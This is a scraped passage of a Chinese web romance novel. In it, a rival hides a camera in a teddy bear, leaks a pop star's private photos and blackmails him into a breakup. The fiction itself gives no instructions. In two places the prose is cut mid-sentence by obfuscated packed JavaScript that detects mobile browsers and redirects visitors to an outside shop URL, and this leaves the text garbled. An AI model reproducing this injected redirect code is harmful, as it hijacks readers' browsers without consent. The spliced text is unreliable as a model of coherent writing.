苏明像是知道一切,所有的一切,什么恋爱失恋生病学习……可她一个字也没问。她高高兴兴地迎接苏琬回来,高高兴兴地做好吃的饭菜。苏琬在书桌前看书,她就在一边做家务织毛线,过着宁静安详的生活。 “这是什么?” 苏明的声音从身后传来,她正在打扫卫生,额头沁出一点汗,不经意间递给苏琬一个小盒子,左右看了看,冲苏琬努努嘴,“还要不要?不要我就扔了啊。” 苏琬回过头,却在看见妈妈手里的那个小盒子的那一刻愣住了。 粉色的盒子,做工精巧昂贵,扎着蝴蝶结。打开,是一只沉甸甸的透明管钢笔,微微透出里面黑色的墨胆。银色的笔尖镶刻着缠绕的花纹,以及两个小小的英文字母,SW。 ——是谷奕送她的17岁生日礼物,月光。 “你之前给过我一支笔。所以,这是我给你的。” “我不在乎钱。” “我在乎的是,它是定制的,世界上独一无二,只属于你。” “不相等的不是价值,是价格。价格有高低,但是价值是最宝贵的。” “所以,你给我的每个东西,在我心里都有着最珍贵的价值。” “读书好累,有梦想好累,为了某一个人而活着好累。” “可是,为什么,我却感觉如此幸福呢?” “明年春天的时候,楚门一中门口那两株樱花又会开了。” “你愿意和我一起去看吗?” “20天,我已经20天没见你了。视频通话算什么?我见不到你,牵不到你的手,抱不到你,不能亲耳听见你叫我的名字。” “先别过来。” “烟味散了你再过来。” “苏琬,恋爱一百天快乐。” …… 苏琬突然觉得像是被人一把攫住喉咙,呼吸急促,大脑昏沉,酸涩的痒意从鼻子一路窜到大脑。 她突然嚎啕大哭。 所有的情绪都在那一刻彻底崩盘,她哭着喊:“我喜欢他。” “我喜欢他!” “妈妈,我真的喜欢他……怎么办,怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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回忆就像是纷至沓来的风,她喘着气,一步步踩着靴子往前走,远远的她就看见前面站着一个人。 个子高大,身材颀长,穿着夹克,踩着高帮黑色靴子。 他似乎已经站在那里很久了,身影像是也沾染了楚门凛冽的寒风,就这样隐在萧索与冷肃里。 苏琬不由自主收紧口袋里的手,紧紧握住怀里的那只钢笔。她看见自己呼出的白气,被围巾裹着挡下来,又盘旋上升往前飘。呼吸越来越急促,眼前却越来越清明,她听着自己一声一声健康跳动的心跳声,一步步走上前,看着那人锋利的眉眼和被冻得通红的脸颊就这样越来越清晰地出现在自己眼前。 “樱花没开。” “现在是冬天。” 她看见谷奕定定地望着自己,随后,慢慢地,朝她伸出双手,嘴角慢慢扯出一个带着点痞气的笑。 “那就等明年春天,我们一起来看。”他缓缓地说。 苏琬几步跑上前,踮起脚尖扑进他温热的怀里,被他两只手稳稳接住,牢牢抱起。 “谷奕。” “我在。” 苏琬眼泪又流下来,她哭着埋进他怀里,用力抱紧他。她感到肩头似乎也被什么滚烫的液体砸下来,一点点顺着她的脖颈往下流,隐约间她听见谷奕颤抖的压抑的哽咽声,他更紧地抱住她,像是要把她融进怀里,像是抓住了生命中落在肩头的月光。 明年春天的时候,楚门一中门口这两株樱花又会开放。年年都开,年年都如此美丽。 184. 第 184 章 2020年到了。 黄怀予提前交完了所有论文,完成了手头所有的项目,考完最后一门试,就直接飞回了帝都。 这是楚恒跟自己提前一个月就说好的。两人恋爱一年半以来聚少离多,上一次见面时他语气温柔地压着她反反复复做了一晚上,最后黄怀予昏睡过去的时候晕晕乎乎被哄着答应了寒假一开始就直接去帝都找他,整个寒假都必须和他呆在一起,绝对不能再提前离开了。 房门打开,黄怀予直接跳着扑了上去,被楚恒稳稳接住,结果转过头才发现旁边还站着一个年轻男生,正是楚恒的助理,正红着脸看向别处装作很忙的样子。 “!”她赶紧爬下来,“你怎么不告诉我还有客人在!” “不不不!我平时从来不进来的,是刚刚我帮楚恒哥拿东西才进来的!对不起嫂子,我先走了,你们慢聊!”他飞快说完,一溜烟走了。 “哎……”黄怀予没拦住,那人溜得太快了。紧接着她身后就缠上一具温热高大的身躯,身后的人把头搁在她肩膀上,短发蹭得脖颈处的皮肤一阵痒意,闷闷地说,“还在看他?转过来看我。” 黄怀予安抚性地拍拍他的头,又被他按住手结结实实地蹭了好几下。她突然发现脚边有一大堆东西,问道,“这些是啥?他刚刚就帮你搬了这些进来?” “嗯。粉丝送的礼物。这些东西应该送去公司的,但是梁姐最近休假,所以暂时就放我这。” 东吟公司规定艺人不准收任何粉丝礼物,所以也不鼓励任何粉丝送礼物。如果是后援会等群体性组织送的应援礼物,也必须交给公司,由公司统一管理,如有其他用途才会重新安排给艺人使用。 “好大的熊!”她看见一个巨大的棕色的毛绒熊玩具,眼睛立刻亮了,“扑上去抱着肯定很舒服。” “喜欢?”楚恒看着她亮晶晶的眼神,勾起一个淡淡的笑,“那留着这个。给你玩。” 这种玩具价格不贵,不涉及奢侈品之类的范畴,如果艺人喜欢这种有意思的礼物,是可以跟经纪人申请留下来的,基本上都会同意。 “真的?”黄怀予高兴了,拆开玩具熊的包装,把它抱去了客厅放在沙发边,然后整个身子都压上去,紧紧抱着它,“好舒服啊!” 楚恒盯着她几秒钟,突然迈开脚步朝她走过去,坐到她旁边。手指顺着她的脚腕摸上去,捏了一下她的小腿,随后弯下腰压在她背上,双手撑在她身体两侧,开始吻她的耳朵。 “啊啊啊,干嘛!”她被迫趴在玩具熊身上,耳畔全是楚恒变得有些急促的呼吸声,她瑟缩着脖子躲,“痒!” * 黄怀予在楚恒家住了快十天。马上就是春节,黄怀予计划过年回家五天和外婆外公一起过年,剩下的时间就再回来。 楚恒去年事业发展得很好,名气也越来越大,只要一出小区就必定有狗仔媒体跟着。黄怀予变得更谨慎,平时基本都在他家不出门,偶尔一次才会出去买一些春节装饰品,给他家贴上红灯笼对联,迎接两个人一起过的第一个春节。 春节前五天,楚恒尽量安排好了所有工作,熬了几个通宵赶工做完所有事情。坐在车上回家时,手机里是黄怀予给他拍的照片,“你的吉他被我贴上了一个大大的红色的恭喜发财!” 窗外冷风呼啸,帝都的冬天寒冷干燥,整条街通透干净,寒气呼吸进去一直到肺里都是干的,光秃秃的树枝映着亮色的天空。 他低头看着手机,冷峻的眉眼慢慢放松下来,眼底浮现出专注珍视的爱意,一种暖意烘然的感觉慢慢包裹住整颗心脏。他想车开得再快一点,他想家里有人在等他。 手机却在这时蹦出一条消息通知。 他许久未使用的私人邮箱里,突然收到了一封新的邮件。不是广告邮件,不是垃圾邮件,发件人没有头像,是匿名。无标题,无内容,只有一个附件压缩包。 他皱了皱眉。去年他的手机号被私生粉泄露过一次,他对这种邮件或者短信一般从来不看。刚准备关掉,却一眼扫到附件压缩包的名字。 ——“HHY”。 楚恒瞳孔骤然一缩。 * 汽车调转方向。一路向前,最终在一家街角的咖啡店停下。 “哥!等等!别冲动!”助理慌里慌张跳下车,想去拦,可是楚恒眼神比刀子还冷,高挑瘦削的身影像是一座沉默的山。 “先给梁姐打个电话吧!哥!你不能一个人去!”助理急得左右团团转,可是他完全拦不住楚恒。 他没办法,最后亡羊补牢地要给楚恒戴上口罩,却连那人衣角也没碰到,咖啡店的门被骤然打开,随后就迅速回落,只剩他一个人在帝都冷肃的寒风里无措地张望。 他咬着牙拿出手机,“梁姐!出事了!” …… 咖啡店的门被打开,风铃响动,发出叮叮当当的声音,迎面扑来暖气包裹住全身。 整间咖啡店里,只有顾安一个人。他安静地坐在正中间的桌子边,端起一杯咖啡,慢慢喝了一口,抬眸,静静地看着门口那个带着一身怒气冲进来的人。 顾安眯着眼打量了他一下。 似乎一年多没见了。他还是这样,高挑瘦削,五官精致,长着一张顾安最讨厌的脸,眉宇间全是阴冷的寒意和怒气。 他目光一下子落在正中间的顾安身上,接下来几步冲上前,一把揪住顾安的衣领,把他整个人都从座位上提了起来,修长有力的手背青筋暴起。 “谁让你动她的!谁让你动她的!” 顾安被攫得几乎呼吸不过来,他看着眼前的人,他还从来没见过楚恒这么愤怒这么激动。 楚恒之前不管被欺负成什么样子都是漠然的、麻木的,顾安看着此时此刻他眼里深重的怒火,他现在可是顶流,却这样不管不顾连口罩都没戴就直接一个人冲了进来。 顾安不知为何突然觉得爽快无比,竟然一边急促地喘息着,一边慢慢扯出一个笑。 这小半年,顾安觉得自己的人生像地狱一样。 每天混迹夜场,烟酒不离身,混沌着分不清白天黑夜。交往了好多任女朋友,全都是一个模子刻出来的,却没有一个是他想要的。 听着地铁上的人在聊着楚恒的新歌,看见电视台门口摆着楚恒的海报,看见商场门口电子屏上是楚恒巨大的地广,在东吟公司三楼餐厅喝了无数杯咖啡却再也没有找到过那个人。这个世界好像处处都在和他作对,他睁着眼睛看着天花板,他要楚恒也和他一样活在地狱里。 安排好那个玩具熊之前,顾安其实没想到这个玩具会被留下,他已经做好了失败的准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14599214|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。玩具的眼睛里藏了摄像头,这听起来像十几年前那个年代,过激粉丝会做出来的事。没办法,楚恒住的那个小区是高档社区,安保太严格,陌生车辆完全进不去,这也就是为什么至今狗仔跟了楚恒一年多都没能发现任何蛛丝马迹。 外面的进不去,只能从内部进去了。 他还没来得及为自己的办法竟然阴差阳错地进行得如此顺利而高兴时,出现在电脑上的那张脸却一下子让他的笑完完全全僵在了脸上。 为什么?为什么在他心里盘旋了小半年、寻找了小半年去等都等不到的那个女孩,竟然就这么出现在楚恒家的客厅里? 她笑,笑得很开心,和他梦里出现的一样,圆圆的眼睛眯成月牙。 她愁眉苦脸地坐在电脑前面打字写论文,旁边桌上放着一张学生证,上面写着“江城大学”“黄怀予”的字样。她穿着睡衣,半夜出来倒水喝,没穿内衣,头发披散,棉质的睡裙垂到膝盖处,露出纤细笔直的小腿。 她坐在沙发上一边看电视一边吃冰淇淋,身后门打开,楚恒回来,几步就走到她身后,把她抱在怀里,压着她接吻。她抱着玩具熊,好奇地摸摸玩具熊棕色的眼睛,紧接着玩具熊就被楚恒一把抽开,摔在地上滚了半圈,她被楚恒抱起来往卧室里走了。 …… 顾安躲在阴暗的房间一角,紧紧盯着电脑上的每一帧,眼睛里布满红血丝。 他拍了几百张照片,录了几十段视频,然后把所有内容全部备份了一遍,最后选出了二十几张黄怀予没有露脸的照片,给楚恒发了一条匿名邮件,并留下了这个咖啡店的地址。 “还想看更刺激的吗?”顾安被楚恒揪着衣领,对方力道大得几乎要把他喉咙掐断,他喘着气,咧开嘴笑,从口袋里掏出一个U盘,摔在桌子上。 “这还有露脸的。正脸,侧脸,每个角度都有,拍得清清楚楚。” “还有她的学生证照片,她的身份证照片,她刚洗完澡坐在沙发上露着腿的,她坐在你身上和你接吻的……” 顾安话没有说完,因为楚恒已经一拳打了上来。 “哈哈哈。”顾安被打倒在地,吐掉嘴里的血沫,却低低笑了两声。他盯着楚恒那副暴怒的样子,他知道自己已经赢了。 “楚恒,你凭什么事业爱情双丰收?” “你之前还在新娱的时候,最后那段时间整天都盯着手机看,那个时候你就认识她了,对吧?” “你这么激动?这么宝贝她?” 顾安坐在地上,手肘撑着地板,血液从他的嘴角流出来。 “她那二十几张没有露脸的照片,我已经卖给媒体了,估计还有半小时就会发出来了。但是剩下其他照片,都还在我手里。只要你跟她分手,剩下的照片,我就不发。” 他咧嘴笑。 “楚恒,凭什么你总是和我不一样,凭什么只有我一个人过得这么生不如死。” “我只是让你和她分个手而已。我对你够好了。” “你如果不分,我会把剩下所有照片都发出去,她的所有身份信息都会暴露,她再也没有办法过普通人的日子。她还是顶尖大学的高材生,有无限的未来,现在她的未来都要被你毁了。” “你要记得,你是害人精,是你害了她,是你毁了她的一辈子。” 185. 第 185 章 一个名叫“娱乐狗仔一线报告”的媒体号突然以“顶流男歌手楚恒地下恋情曝光!两人疑似已同居”为标题发博,并一连直接放出了十几张图片,照片里楚恒和一年轻女子举止亲密,楚恒正脸露得清晰可见,女子多数为背面或被遮挡,无法看清脸。 “楚恒恋情”的词条一下子登上热搜并迅速攀升,一下子爬到了第一名,大红色的“爆”就这样明晃晃地出现。 一石激起千层浪,这无疑是近一个月以来最大的八卦。 楚恒年纪轻轻但是已经是顶流,凭选秀节目《光芒之下》再次出道翻红,不到两年的时间里迅速跻身一线顶流创作男歌手,长相精致,才华出众,唱跳俱佳,手握N首大热代表作歌曲,新人奖拿到手软,更凭借一人之力硬是把小作坊东吟公司带成了圈内势头正劲的知名经纪公司,商业价值可见一斑。 他虽然创作才能出众,代表作歌曲众多,但是也因为长相精致和身上那股子冷淡的气质吸引了一大批女友粉。 恋情消息一曝光,立刻引发哀嚎遍地,热搜下全都是粉转黑和激情辱骂。 事业粉哀其不幸怒其不争骂他拎不清恋爱脑,女友粉气急败坏撕周边海报大骂贱男欺骗感情,过激粉对着十几张照片大破防疯狂扒女方身份信息开盒人肉,尽管照片完全没露脸但是依然骂她身材普通满脸心机相由心生,从各种蛛丝马迹推测嫂子到底是谁,誓要让这心机深沉道德败坏的女人付出代价。 “卧槽,好清晰的照片,这下连说p图都没可能了,绝对就是楚恒本人。” “心碎了,好不容易有一个喜欢的明星,居然这么快就塌房了……太难受了,楚恒我恨你!” “真是没见过这么毁自己事业的男明星,年纪轻轻刚火没多久,圈内这款创作类的又长得帅的真没几个,完全没人跟他撞型,再发展几年绝对无敌了……自己作死!” “为什么大家都说这是塌房?吃完瓜发现也就是普通谈个恋爱而已啊。他不靠脸吃饭吧,他不是写歌写得很好吗?好几首歌我都听过,都很火,人家私下里谈个恋爱也没什么吧?” “女方到底是谁啊!急急急!是不是xxx(女明星)?还是xxx(网红)?看背影都有点像啊!” “好私密的照片,我去,抱得这么紧……” “没人觉得这照片视角很奇怪吗?很像监控视角啊,怎么他们还在自己家里放摄像头,自己把自己卿卿我我的片段录下来?” “上面的发现了华点,这绝对是女方自己偷偷录下来然后传出来的,估计是为了逼男方公开。” “卧槽!好心机!这么说这位嫂子不是个省油的灯啊!怎么还没扒出来是谁?这届网友不行啊!” “在家里还穿吊带,这女的够骚的。合理怀疑仙人跳,蠢男渣女锁死。” 大量路人来吃瓜,黑粉和数据粉互相扯头花,对家粉丝又来隔岸观火幸灾乐祸……各种人群和声音混杂在一起,乱成一锅粥,成功让相关话题讨论度再次上升,“嫂子是谁”“塌房”的话题也跟着登上热搜。 楚恒微博在一下午的时间里掉粉接近八十万。 …… 收到梁吟东的电话的时候,黄怀予正一个人安静地坐着,低着头,一下一下滑动着手机屏幕。 她已经看了十几分钟。 一动不动,像是入定。 电话接通,对面很是嘈杂,梁吟东声音听起来很疲惫。春节将至,她本来正在休假,已经准备和家人一起团聚,可是却不得不迅速回到公司,应对这个突发事件。她的声音清楚地、缓慢地传到了黄怀予耳朵里。 她讲了很多,讲了公司的公关策略,讲了之后楚恒的事业规划,讲了撤热搜的安排,讲了顾安放了摄像头的那只混在粉丝礼物里的玩具熊。 她说,别害怕,我们会报警,顾安手里剩下的其他照片他是发不出去的。 她的叙述很有条理,身为专业经纪人梁吟东其实早在知道了两人谈恋爱的那一天就已经做好了公关准备了,这样突如其来的负面事件确实让人措手不及但是不至于慌乱恐惧。她是理性的,冷静的,一整家公司都以她为支撑,她从事这个行业多年,她会为手下艺人安排损耗最小的方案。 黄怀予听着对面逐渐又多起来的嘈杂声音,似乎有人在叫“老板”,有人在叫“梁姐”,很多人给她汇报,纸张摩擦的声音刺得人心慌,她一边处理着紧急事项还要一边分神给黄怀予打这通电话,做着安抚的工作。 黄怀予冷不定开口:“梁姐。” “嗯?”梁吟东停下话头,疑惑地应了一声。 “新年快乐。” “……”梁吟东脸上骤然浮现出一瞬的愣神。 窗外是帝都冷啸干燥的冬风,街上已经挂上了红色的中国结,马上又是新的一年。她很快反应过来,神情放松下来,嘴角甚至浮现出一抹很淡的笑,“新年快乐。” 她本以为是小姑娘不想气氛太沉重,才突然说了一句俏皮话,想让两人都放松一些。想到这里梁吟东心里更生出怜悯,于是准备说楚恒再过几小时就会回去,她还想着劝小情侣别想太多,好好过个年,一切交给公司。 可是她还未开口,就听见对面再次出声。 声音很低,很小,像是一只受了伤的小动物,沉闷地缩在墙角。 “对不起。” 随后电话就被挂断了。 * 飞机落地江城的时候,和帝都北方干燥的风完全不同,迎面扑来阴寒湿冷的气息,一路刺到骨子里。 黄怀予瑟缩在厚重的羽绒服里,雪地靴踩着湿滑的地面,一路坐着地铁,一个人晃到了江边。 熟悉的天,熟悉的云,熟悉的空气。大街上几乎一个人也没有,天气太冷,太阳已经落山,过几天就是大年三十,所有人都回家了。冬天的长江泛着冷意的寒光,天黑得令人害怕,黄怀予散光的视界里只有对岸高楼大厦上五颜六色的彩色霓虹。 黄怀予一个人就这样静静地站在江边,站在寒风里。 她以为在这样极致的安静里好像可以想明白人生关口处的很多问题,可是没有。 孤寂和落寞像是繁殖力最强的小虫,从她心口咬了一个洞,随后慢慢蚕食掉她整颗心脏,最后把整个世界都包围,铺天盖地地围困住她。 想要冷静,想要客观,想要寻找解决和应对方法,想要劝服自己没事,还可以继续——可是周围好冷,天色好黑,放眼望去渺无人烟,只有一条滚滚暗涌的长江,像一条黑色的远古大蛇,无声无息地向前。 一阵风吹来,黄怀予睫毛颤抖了一下,像是尾夜的蝶。 既然如此,那就别想了吧。她告诉自己。 身后突然传来急促慌乱的脚步声。有人来了。 那人慌慌张张朝着她跑过来,声音越来越近,呼吸声越来越重,直到从她身后重重扑过来,两只手铜墙铁壁一般紧紧箍住她,把她撞得都向前踉跄了一小步。 “怎么在这?怎么一个人来了这里?” 楚恒声音很慌乱,是黄怀予从没听过的慌乱,他紧紧抱着她,像是怕她要逃脱一般,脸埋在她侧颈,吸着鼻子去蹭。 “回家吧。我们一起回去,好不好。” 没等到怀里女孩的回答,楚恒呼吸更重了几分。他没提自己是怎么在回到家以后发现家里没人,又迅速买了机票一路跟着追来江城的,他只是用力地抱着她,手指骨节被冻得通红却还伸进黄怀予口袋里去捉她的手,想要和她十指相扣。 “你不想回帝都也没事的。就在江城,好不好。或者在楚门,我们一起回楚门。我们一起过年,好不好?” “对不起。对不起。都是我的错,我不应该留下那只玩具熊,我应该仔细检查的,全都怪我……别怕,别害怕,我在你身边。顾安不会怎么样的,我们已经报警了,剩下的照片不会被发出来的,他没拍到什么,别怕,别怕。” 他急切地说着话,努力地去安抚。他放开黄怀予,绕到她身前,和她面对面站着,握住她的右手手腕,带着她的手直往他脸上打。 “打我,好吗?都是我的错。” 他的力气太大,黄怀予挣不脱,被带着就这么打上了他的脸,发出“啪”的声音。她瞪大眼睛,用力挣扎才从他手里把手扯回来。 楚恒低着头站在她面前,戴着帽子和口罩,整张脸被遮得严严实实只露出一双眼睛,穿着最普通的衣服和鞋子,走在街上也完全不会被认出来。 他那双眼睛就这么盯着她看,眼尾藏着掩盖不住的红色,眼里浓重的痛苦几乎要把黄怀予淹没。 “是我害了你。”他突然开口,声音嘶哑。 “他说得对,是我害了你。” 他走近一步,双手捧起黄怀予的脸,低头,鼻尖相蹭,呼吸交缠,两个人像两只相依为命的流浪动物,黄怀予能听见他声 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“你根本就不应该跟一个会毁了你事业的人谈恋爱,你懂吗?应该怎么选还需要想吗?还需要思考吗?你微博掉了那么多粉丝,你事业受到重创,一公司的人全都在为我们忙前忙后,网上都在骂你,你还不懂应该怎么做吗?” 黄怀予声音越来越大,情绪越来越重。 她只觉得喉咙里好像梗塞着什么沉重的东西,鼻间越来越酸,眼前慢慢模糊,好像有什么温热的液体在楚门的冷风里从眼角滑落。 “不是你害我。是我害了你。”她轻声说。 眼泪终于彻彻底底地滚落下来。 她看着眼前的男人,哭着说:“对不起。是我害了你。” 江城冬天无比漫长,漆黑的夜浸透着无尽的寒。周围一片死寂,杳无人烟,对面的LED灯五颜六色闪得人眼晕,放着“ILOVEJC”的滚动字幕,映在长江滚滚向前的漆黑水面上。 路灯发着微弱的淡黄色光芒,突然有什么白色的干粉碎屑突然一大片一大片纷纷扬扬从天空中落下,在路灯光芒的映照下团成细细密密的无数阴影,像是要把整个世界都包裹起来。 下雪了。 江城又下雪了。 小小的白色冰晶落在楚恒浓密的黑色睫毛上。 黄怀予站在楚恒面前,看着他眨眼,冰晶被抖落,又不见。她突然觉得这一幕美得像电影里的画面。 只可惜,电影的主角从来都不是她。她只是一个普通人,也许太美好的东西都如梦境般短暂,也许她的生活就注定贫瘠坚硬,也许她就注定永远也无法拥有爱。 ——“我们分手吧。” 黄怀予尽量让这句话说得轻松一点,她脸上的泪痕还没干,眼睛哭得红红的,却还要尽力勉强扯出一个比哭还难看的笑。 “好吗?为了你的事业和未来。和平协商分手。” 她已经尽力想让气氛没那么沉重了,却没想到下一秒却被楚恒用力抓住手臂。抬头,对上一双通红的眸子。 他仿佛浑身都在颤抖,咬着牙关,黄怀予觉得他似乎要倒了。 “你之前说过,” 他低着头,凝视着她的脸。黄怀予看到他的眼泪一滴滴落下来,落进口罩里,又被锁进他话语间呼出的白气里。他双眸通红,神色哀戚,含着水光,眼泪不停地往下滴落。 “你之前说过,你要一辈子和我在一起的。” “是你说的。” “你又骗我。黄怀予,你又骗我。” 楚恒声音嘶哑到了极点,黄怀予听见他压抑的哽咽声,像是一把刀,反反复复插在黄怀予心上,溅出温热的血。 ——她踮起脚尖,抱住了他的脖颈,然后轻轻地、轻轻地吻在了他的眼睛上。 冰凉的。冷彻的。 他睫毛上雪白的冰晶被嘴唇的温度浸染,融化在她唇上,和两个人的泪水混在一起,变得滚烫。 “嗯。是我说的。” 她手指轻柔地抚摸着他的眼睛,这双她最喜欢的眼睛,每次看到都心潮起伏的眼睛。还喜欢什么?喜欢他身上小苍兰的味道,喜欢他的手,喜欢他的唇,喜欢他的心跳声……喜欢他的一切。 两个人依偎在一起,他身上那种冷肃得像雪山一样的气息把她包围。她闭着眼睛,心想,这是最后一次了。 “你不应该相信的。”她明明在哭,哭得这么厉害,却还扬起一个笑,“我骗你的。” 186. 第 186 章 黄怀予拖着行李箱直奔楚门。 大街上一个人都没有,家家户户都回到家和家人团聚准备迎接春节。手机通话记录里好几个未接来电,都是苏琬谷奕打过来的。她没接电话,简单发了两条信息,说自己平安到家了,随后就关掉了手机。 回到家,外婆外公高兴地来迎接,说要给她做珍珠丸子。她猛吃了一顿,直到吃到胃都难受,才起来,洗了个澡,拉上窗帘,开始昏天黑地地睡觉。 这一觉很不安稳,混混沌沌,梦见了很多很多人,一会在天上飘,一会在水里被呛死,一会在江边哭,一会又在床上和楚恒接吻。太乱了,乱得她在梦里都在流眼泪。 一觉醒来,已是第二天。天光大亮,外公在炸春卷和藕夹,外婆在用浆糊贴春联。她顶着两团巨大的黑眼圈和像熊猫一样肿的眼睛,瘫在沙发上,打开了手机,随后竟然在一堆未读消息里看到了一个很少会见到的名字。 【沈一瑾】:宝宝,还好吗?要不要出来吃个饭。 她们俩在很久之前就已经互相加上了微信。黄怀予能感觉到,刚开始的时候,沈一瑾其实很想跟自己亲近,但是总是有些怯怯的。 黄怀予心里知道,是沈一瑾怕她会因为之前和楚恒做过CP宣传而心里不舒服,于是努力降低自己的存在感,即使加了微信也很少找黄怀予聊天,但是却把黄怀予半年来每一条朋友圈全都点赞了,甚至每条新发的朋友圈沈一瑾都一定是第一个点赞的。黄怀予之前还想过沈一瑾现在都是一线顶流小花了,怎么还每天都这么有空抱着手机如此关注她的动向,天天刷新看她有没有更新。 黄怀予此时刚睡醒,整个人都还陷入在空洞麻木的悲伤情绪里。她盯着她手机上沈一瑾的消息,呆滞的大脑转了几秒钟,还是决定打了一个电话过去。 对面响了几声就接了。沈一瑾极其惊喜,但是马上声音里又带着小心翼翼,让黄怀予最近别上网,多和家人朋友在一起,好好过个年。照片的事,她已经解决了。 黄怀予一愣,“什么解决?” 沈一瑾满不在乎地说:“就顾安那个王八蛋卖给媒体的那些照片啊。那十几张有你的照片,我全都找人删了。所有扒你身份信息人肉的帖子,我也全都找人删了。” “还有媒体那边,我让我哥去把照片又买回来了。现在网上所有关于你的信息都没了,也不会再有人发了。放心吧!” 黄怀予愣住了。好半晌,她才茫茫出声,“你花了多少钱……” “小钱。”她语气反而带着点豪气,“我这么多年努力工作也不是白工作的好吧?好歹我现在也是知名女明星呢。我哥的钱就不用说了,花他的我就更不心疼了。放心,这种公关删帖的流程,我经纪人最熟了,我让她去做的,绝对没问题。” “你可千万不要觉得欠我什么!之前在我最迷茫最痛苦的时候,是你鼓励了我,把我从深渊里拉了出来。那段日子太难熬了,我状态很差,一身的病。煎熬痛苦的时候,总会觉得是一个人在黑暗里跑步,怎么也看不到终点,却又不敢停下。可是,是你对我说,让我不要忘记了为什么出发。那段话,我会永远记得。” “哦,对了!”她语气很高兴,神秘兮兮地说,“还有一个好消息要告诉你!今年央视春晚,你可一定要看哦!” …… 楚门的冬天和江城一样,刺骨,阴湿,冷冽。 大年三十晚上,黄怀予坐在客厅沙发上,外婆外公都坐在旁边,地上放着小太阳,暖意融融地烘烤。 大红大紫的舞台歌舞升平,沈一瑾穿着大红色的旗袍,俏丽可人地在舞台上唱着正能量歌曲,牵着同台男演员的手,像是一只翩翩起舞的小蝴蝶。 小品节目看到了几个熟悉的喜剧演员,外婆外公在旁边哈哈大笑,用楚门话随意聊着天。桌上的小锅咕嘟嘟煮着羊肉火锅,家里到处洋溢着欢快祥和的气氛,外婆已经在一旁开始打电话,给各路亲戚轮番拜年说着新年好。窗外开始噼里啪啦地放鞭炮,还能听见几个小孩子在楼下尖叫着放烟花。 全家人都好高兴。 全小区人都好高兴。 全国人都好高兴。 黄怀予呆滞地坐在沙发上,眼泪抑制不住地不停往下流,她在鞭炮声里嚎啕大哭。 外婆在旁边问怎么了。她好想说自己现在很想念某个人,但是她说不出口,于是只能一边哭一边摇头说没事。这小品太好笑了,我笑哭了。泪水打湿了整张脸,她淹没在遮天蔽日的悲伤里。 * 这一整个寒假,黄怀予都把自己关在家里。 苏琬和谷奕几乎天天跑来陪她,但是收效甚微。黄怀予不是很想看见他们俩这副犹犹豫豫害怕提到某个人的样子,她已经在学着把过去的人的印记移出自己的生活。 “要断就断干净,不要分分合合惹人厌烦。”她把自己的头捂在被子里,撇着嘴,声音闷闷地说。 她依然会看微博,不过会自动不看和那个人有关的所有内容,免得触景生情。她只是像以前一样每天上自己的账号,发发感想,说说今天干了什么事,过年见了好多亲戚,以及亲戚家的细裸有多烦。 也就是因为上了微博,她才突然在私信那里看到了一个很久都没有见过的名字。 【5.5hours】:最近还好吗。 她瞪大眼睛,手指劈里啪啦打字:“5.5!你去哪里了!你回来了?” 她高考结束以后的那段时间,5.5说自己现实生活繁忙,所以应该不会再上这个微博号了,特地来和黄怀予道别过。 黄怀予那个时候还很伤心,她觉得5.5在她生命中是很重要很特别的存在,尽管两个人从来都没有见过面,连对方长什么样子都不知道,但是这种未知的遥远的人被互联网连接起来的感觉特别美好,黄怀予很珍惜。 她在世纪之交出生,跟随着互联网的浪潮长大,个人主义和原子化社会不断发展,刺激性娱乐越来越多,却好像无论如何也无法抵抗深夜时才会涌上来的对情绪满足和陪伴的深刻需求。5.5在高三那一年陪着黄怀予走过了很多艰难的孤寂的夜晚,她早已经在这位网友身上投射了和朋友等同的情感认知。 【5.5hours】:嗯,回来了。 她感觉自己贫瘠的生活好像变得湿润起来,以前的人重新回来竟然让她莫名有点想哭,她撇撇嘴,重重地打字:“你还问我最近好吗,我一点也不好!我分手了,失恋了,每天都很难过。” 对面突然收声几秒钟。 “对不起。”屏幕上突然蹦出这几个字。 “?”黄怀予擦掉眼泪,“你说什么对不起呀,我失恋又不是你造成的。” “……”对面好像梗住,好像被戳中了什么,随后手机上就一直显示“正在输入中”,最后才像是倒带一般又发出来一句,“对不起。” “我不会再离开了。” “我不会再离开你了。” 明明是面对着手里闪着冷光的冰冷手机屏幕,明明只是网友之间的简单聊天,黄怀予却觉得好像看到了一些痛楚,一些承诺。 一些亲密之人之间才有的耳鬓低语,一些虔诚迷恋地亲吻发顶时落下的轻声誓言。 她皱起眉头,把自己埋进枕头里。慢慢,慢慢,眼泪又流了出来,打湿了枕巾。 她觉得自己可真没用啊,为什么失恋了会如此脆弱,会觉得全世界所有人都很像他。 * “最近听说你爸病了。”外婆坐她旁边沙发上,戴着老花眼镜扯毛线织毛衣。她一边眯着眼睛织,一边状似不经意地提起。 “……我爸?”黄怀予最近反应特别慢,像是老年痴呆症,她木然反应了一会,才想起来这个似乎早已从她的生活中消失的人。 自从高中在那场宴席上当众扇了刘远一巴掌以后,黄怀予就再也没有收到过他的消息了。每个月的生活费他依然会打过来,只不过不是现金了,而是直接转账到外婆卡里,两家人也没有再见过面。 “我前几天回村里办事,听见村支书说的。好像还病得挺重呢,经常咳嗽咳血,说是肺不好。”外婆顺口说着,偷偷瞄了一眼旁边的黄怀予,又把视线移回手里的毛线上,“要不你去看看吧。” 黄怀予低着头,半晌才说:“都不来往了,还去看什么。我讨厌他。” 外婆悠悠说道,“既然你讨厌他,那你要是现在去看了他这副半死不活的样子,说不定能解气,变得高兴点呢。” 黄怀予笑了,“我哪有这么残忍!我是阎王啊,看到别人痛苦我就高兴。” 